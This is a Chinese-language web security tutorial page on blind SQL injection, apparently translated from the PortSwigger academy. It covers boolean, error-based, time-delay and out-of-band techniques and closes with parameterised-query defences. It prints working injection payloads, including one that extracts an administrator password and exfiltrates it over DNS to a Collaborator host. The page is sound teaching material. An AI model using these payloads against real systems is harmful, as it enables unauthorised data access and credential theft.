Web安全学院
Web安全学院
  • 首页
  • 译序
  • 学习路线
  • 前篇
    • Web应用程序安全测试
    • 动态应用程序安全测试(DAST)
    • 带外应用程序安全测试(OAST)
  • 服务器端主题
    • SQL注入
      • SQL注入
      • SQL注入UNION攻击
      • 在SQL注入攻击中检索数据库
      • SQL盲注
      • SQL注入速查表
    • 认证
      • 认证漏洞
      • 基于密码登录中的漏洞
      • 多因素认证中的漏洞
      • 其他认证机制中的漏洞
      • 如何保护你的认证机制
    • 目录遍历
      • 目录遍历
    • 命令注入
      • OS命令注入
    • 业务逻辑漏洞
      • 业务逻辑漏洞
      • 业务逻辑漏洞示例
    • 信息泄露
      • 信息泄露漏洞
      • 如何发现并利用信息泄露漏洞
    • 访问控制
      • 访问控制漏洞与权限提升
      • 不安全的直接对象引用(IDOR)
      • 访问控制安全模型
    • 文件上传漏洞
      • 文件上传漏洞
    • 条件竞争
      • 条件竞争
    • 服务器端请求伪造(SSRF)
      • 服务器端请求伪造(SSRF)
      • 盲SSRF漏洞
    • XXE注入
      • XML外部实体(XXE)注入
      • XML实体
      • 发现并利用盲XXE漏洞
  • 客户端主题
    • 跨站脚本(XSS)
      • 跨站脚本
      • 反射型XSS
      • 存储型XSS
      • 基于DOM的XSS
      • XSS上下文
        • 跨站脚本上下文
        • 客户端模版注入
      • 利用跨站脚本漏洞
      • 内容安全策略
      • 悬空标记注入
      • 如何防范XSS漏洞
      • 跨站脚本(XSS)速查表
    • 跨站请求伪造(CSRF)
      • 跨站请求伪造(CSRF)
      • XSS与CSRF
      • 绕过CSRF令牌验证
      • 绕过SameSite Cookie限制
      • 绕过基于Referer的CSRF防御
      • 如何防范CSRF漏洞
    • 跨域资源共享(CORS)
      • 跨域资源共享(CORS)
      • 同源策略(SOP)
      • CORS和Access-Control-Allow-Origin响应标头
    • 点击劫持
      • 点击劫持(UI伪装)
    • 基于DOM的漏洞
      • 基于DOM的漏洞
      • 控制Web消息源
      • 基于DOM的开放重定向
      • 基于DOM的Cookie操纵
      • 基于DOM的JavaScript注入
      • 基于DOM的document-domain操纵
      • 基于DOM的WebSocket URL投毒
      • 基于DOM的链接操纵
      • Web消息操纵
      • 基于DOM的Ajax请求标头操纵
      • 基于DOM的本地文件路径操纵
      • 基于DOM的客户端SQL注入
      • 基于DOM的HTML5 Storage操纵
      • 基于DOM的客户端XPath注入
      • 基于DOM的客户端JSON注入
      • DOM-data操纵
      • 基于DOM的拒绝服务
      • DOM破坏
    • WebSocket
      • 测试WebSocket安全漏洞
      • 什么是WebSocket?
      • 跨站WebSocket劫持
  • 进阶主题
    • 不安全的反序列化
      • 不安全的反序列化
      • 利用不安全的反序列化漏洞
    • 测试GraphQL API
      • 测试GraphQL API
      • 什么是GraphQL?
    • 服务器端模板注入
      • 服务器端模板注入
      • 利用服务器端模板注入漏洞
    • Web缓存投毒
      • Web缓存投毒
      • 缓存设计缺陷的利用
      • 缓存实现缺陷的利用
    • HTTP Host标头攻击
      • HTTP Host标头攻击
      • 如何识别和利用HTTP Host头的漏洞
      • 密码重置投毒
    • HTTP请求走私
      • HTTP请求走私
      • 查找HTTP请求走私漏洞
      • 利用HTTP请求走私漏洞
      • 高级请求走私
        • 高级请求走私
        • HTTP/2降级
        • 响应队列投毒
        • HTTP/2专属载体
        • HTTP请求隧道
      • 浏览器驱动的请求伪造
        • 浏览器驱动的请求伪造
        • CL.0请求走私
        • 客户端异步攻击
        • 基于暂停的异步攻击
    • OAuth认证
      • OAuth 2.0认证漏洞
      • OAuth授权类型
      • OpenID Connect
      • 如何防范OAuth认证漏洞
    • JWT攻击
      • JWT攻击
      • 在Burp Suite中使用JWT
      • 算法混淆攻击
    • 原型污染
      • 什么是原型污染?
      • JavaScript原型和继承
      • 客户端
        • 客户端原型污染漏洞
        • 通过浏览器API进行原型污染
      • 服务器端
        • 服务器端原型污染
      • 预防原型污染漏洞
    • 基本技能
      • 基本技能
      • 使用编码混淆攻击
      • 在手动测试中使用Burp Scanner
Powered by GitBook
On this page
  • 什么是SQL盲注?
  • 通过触发条件响应来利用SQL盲注
  • 基于错误的SQL注入
  • 通过触发条件错误来利用SQL盲注
  • 通过详细的SQL错误消息来提取敏感数据
  • 通过触发时间延时来利用SQL盲注
  • 使用带外(OAST)技术利用SQL盲注
  • 如何防范SQL盲注攻击
  1. 服务器端主题
  2. SQL注入

SQL盲注

在这一节中,我们将描述什么是SQL盲注,并解释发现和利用SQL盲注漏洞的各种技术。

什么是SQL盲注?

SQL盲注是指当应用程序容易受到SQL注入的攻击,但其HTTP响应不包含相关SQL查询的结果或任何数据库错误的详细信息。

对于SQL盲注漏洞,诸如UNION攻击之类的许多技术都不会起作用,这是因为这些技术都依赖于应用程序响应中返回注入查询的结果。但仍然可以利用SQL盲注访问未授权的数据,只是必须采用不同的技术。

通过触发条件响应来利用SQL盲注

考虑一个应用程序,它使用追踪Cookie来收集有关使用情况的分析数据。该应用程序的请求包含一个像这样的Cookie标头:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

当一个包含TrackingId Cookie的请求被处理时,应用程序使用以下SQL查询来确定该用户是否为已知用户:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

此查询容易受到SQL注入的攻击,但查询的结果不会返回给用户。然而,应用程序的行为确实有所不同,这取决于查询是否返回任何数据。如果返回数据(因为提交了一个已知的TrackingId),则页面上将显示“Welcome back”的消息。

这种行为足以能够利用SQL盲注漏洞,根据注入的条件,有条件地触发不同的响应来检索信息。为了了解它是如何工作的,假设发送了两个请求,这些请求依次包含以下TrackingId Cookie值:

…xyz' AND '1'='1
…xyz' AND '1'='2

第一个值将导致查询返回结果,因为注入的条件AND '1'='1为真,页面将显示“Welcome back”的消息。而第二个值不会返回任何查询结果,因为注入的条件为假,页面不会显示“Welcome back”的消息。这就使得我们能够确定任何单个注入条件的答案,从而逐位提取数据。

例如,假设数据库存在一个Users表,该表有Username和Password两列,并且表存储了用户名为Administrator的一条数据。我们可以通过发送一系列输入来逐个字符地测试密码,从而系统地确定该用户的密码。

为此,我们从如下输入开始:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

页面将返回“Welcome back”的消息,表明注入的条件为真,因此密码的第一个字符要比m大。

下一步,我们发送如下输入:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

页面没有返回“Welcome back”消息,表明注入的条件为假,因此密码的第一个字符不大于t。

最终,我们发送如下输入,页面返回“Welcome back”消息,这就可以确定密码的第一个字符是s:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

我们可以继续这个过程,来系统地确定Administrator用户的完整密码。

注意

LAB

基于错误的SQL注入

基于错误的SQL注入是指你能够使用错误消息从数据库中提取或推断出敏感数据的情况,即使在盲注的环境中也是如此。这种可能性在很大程度上取决于数据库的配置和你能够触发的错误类型:

  • 你也许能够通过基于布尔表达式的结果诱使应用程序返回特定的错误响应。可以像前一节中介绍的条件响应一样利用这一点。有关更多信息,请参阅通过触发条件错误来利用SQL盲注。

  • 你也许能够触发输出查询返回的数据的错误消息。这将使得原本是SQL盲注的漏洞转变为“可见”的漏洞。有关更多信息,请参阅通过详细的SQL错误消息来提取敏感数据。

通过触发条件错误来利用SQL盲注

假设应用程序依然执行前面示例中的SQL查询,但无论查询是否返回任何数据,其行为都不会有任何不同。这样前面的技术就失效了,因为注入不同的布尔条件对应用程序的响应没有影响。

在这种情况下,通常可以根据注入条件,有条件地触发SQL错误来诱使应用程序返回条件响应。这涉及修改查询,以便在条件为真时引起数据库错误,而条件为假时则不会导致数据库错误。很多时候,数据库引发的未处理错误会导致应用程序的响应有所不同(如错误信息),从而使我们能够推断出注入条件的真实性。

要查看其工作原理,假设有两个请求被发送,这些请求依次包含以下TrackingId Cookie值:

xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a

这些输入使用CASE关键字来测试条件,并根据表达式是否为真来返回不同的表达式。对于第一条输入,CASE表达式将被评估为'a',这不会引起任何错误。第二条输入中,表达式为1/0,这会触发数据库的被零除错误。假设这个错误导致应用程序的HTTP响应有所不同,我们便可以根据这种差异来推断注入的条件是否为真。

使用这项技术,再结合之前描述过的手法,我们就可以系统地逐位检索数据:

xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a

注意

LAB

通过详细的SQL错误消息来提取敏感数据

数据库的错误配置有时会导致详细的错误消息。这些错误消息可能提供对攻击者有用的信息。例如,请考虑以下错误消息,该消息在向id参数注入单引号后发生:

Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char

这显示了应用程序使用我们的输入构造的完整查询。因此,我们可以看到我们要注入的上下文,即在WHERE语句中的单引号字符串内。使得更容易构造一个包含恶意有效载荷的有效查询。在这种情况下,我们可以看到注释掉查询的其余部分将防止多余的单引号破坏语法。

有时,你也许能够诱使应用程序生成错误消息,其中包含查询返回的一些数据。这将使得原本是SQL盲注的漏洞变为一个“可见”的漏洞。

实现此目的的一种方法是使用CAST()函数,该函数使你能够将一种数据类型转换为另一种数据类型。例如,考虑包含以下语句的查询:

CAST((SELECT example_column FROM example_table) AS int)

通常,要读取的数据是一个字符串。尝试将其转换为不兼容的数据类型,例如int,可能会导致类似以下的错误:

ERROR: invalid input syntax for type integer: "Example data"

如果由于对查询施加的字符限制而无法触发条件响应,则此类查询也可能很有用。

LAB

通过触发时间延时来利用SQL盲注

在前面的一些示例中,我们已经了解了如何利用应用程序未能正确处理数据库错误的方式进行攻击。但是,如果应用程序捕获这些错误并妥善处理它们会怎样呢?当执行注入的SQL查询时,触发数据库错误不再导致应用程序的响应出现任何差异,因此之前诱导条件错误的技术将无法起效。

在这种情况下,通常可以通过有条件地触发时间延时来利用SQL盲注漏洞,具体取决于注入条件。由于SQL查询通常由应用程序同步处理,因此延时执行SQL查询也会延迟HTTP响应。这使我们可以根据收到HTTP响应之前所花的时间来推断注入条件的真实性。

触发时间延时的技术高度依赖所使用的数据库类型。在Microsoft SQL Server中,可以使用类似以下的输入来测试条件并根据表达式是否为真来触发延时:

'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--

其中第一个输入将不会触发延时,因为条件1=2为假,第二个输入将触发10秒的延时,因为条件1=1为真。

使用这种技术,我们可以用已经描述过的方式来检索数据,系统地逐个字符测试:

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

注意

LAB

LAB

使用带外(OAST)技术利用SQL盲注

现在,假设应用程序执行相同的SQL查询,但它是异步执行的。应用程序继续在原始线程中处理用户的请求,并使用另一个线程执行使用追踪Cookie的SQL查询。该查询依然易受到SQL注入的攻击,但是到目前为止所介绍的技术都不起作用:应用程序的响应并不取决于查询是否返回任何数据,也不取决于数据库是否发生错误,更不取决于执行查询所花费的时间。

在这种情况下,通常可以通过触发带外网络交互到你控制的系统来利用SQL盲注漏洞。如前所述,可以根据注入的条件有条件地触发这些操作,逐位推断信息。但更强大的是,数据可以直接在网络交互本身中被渗出。

可以使用多种网络协议来实现此目的,但最有效的通常是DNS(域名服务)。这是因为很多生产网络都允许DNS查询自由发出,因为它们对于生产系统的正常运行是必不可少的。

使用带外技术最简单最可靠的方法是使用Burp Collaborator。这是一个提供各种网络服务(包括DNS)自定义实现的服务器,并允许你检测何时由于将单个有效负载发送给易受攻击的应用程序而发送的网络交互。Burp Suite Professional内置对Burp Collaborator的支持,无需进行配置。

触发DNS查询的技术高度依赖所使用的数据库类型。在Microsoft SQL Server中,可以使用如下输入来在指定域上引起DNS查找:

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

这将导致数据库执行以下域名的查找:

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

你可以使用Burp Collaborator生成一个唯一的子域并轮询Collaborator服务器,以确认何时发生任何DNS查找。

LAB

在确定了触发带外交互的方法后,就可以使用带外通道从易受攻击的应用程序中窃取数据。例如:

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

此输入读取Administrator用户的密码,附加一个唯一的Collaborator子域,并触发DNS查找。这将导致类似如下所示的DNS查找,从而使你能够查看捕获的密码:

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

带外(OAST)技术是检测和利用SQL盲注的一种非常强大的方法,因为该方法成功的可能性很高,并且能够直接在带外通道中窃取数据。因此,即使在其他盲注利用技术确实起作用的情况下,OAST技术通常也是首选的。

注意

LAB

如何防范SQL盲注攻击

尽管发现和利用SQL盲注漏洞所需的技术与常规的SQL注入有所不同且更为复杂,但无论该漏洞是否为盲注,防范SQL注入所需的措施都是一样的。

与常规的SQL注入一样,可以通过谨慎使用参数化查询来防范SQL盲注攻击,从而确保用户的输入不会干扰预期的SQL查询的结构。

阅读更多

Previous在SQL注入攻击中检索数据库NextSQL注入速查表

Last updated 1 year ago

SUBSTRING函数在某些类型的数据库中称为SUBSTR。有关详细信息,请参见。

触发条件错误的方法有很多种,不同的技术适用于不同的数据库类型。更多细节,请参见。

在SQL查询中触发时间延时的方法有很多种,不同的技术适用于不同类型的数据库。更多细节,请参见。

触发带外交互的方法有多种,不同的技术适用于不同类型的数据库。更多详情,请参见。

SQL注入速查表
带条件响应的SQL盲注
SQL注入速查表
带条件错误的SQL盲注
可见的基于错误的SQL注入
SQL注入速查表
带时间延时的SQL盲注
带时间延时和信息检索的SQL盲注
带外交互的SQL盲注
SQL注入速查表
带外数据渗出的SQL盲注
如何防范SQL注入
使用Burp Suite的Web漏洞扫描器发现SQL盲注漏洞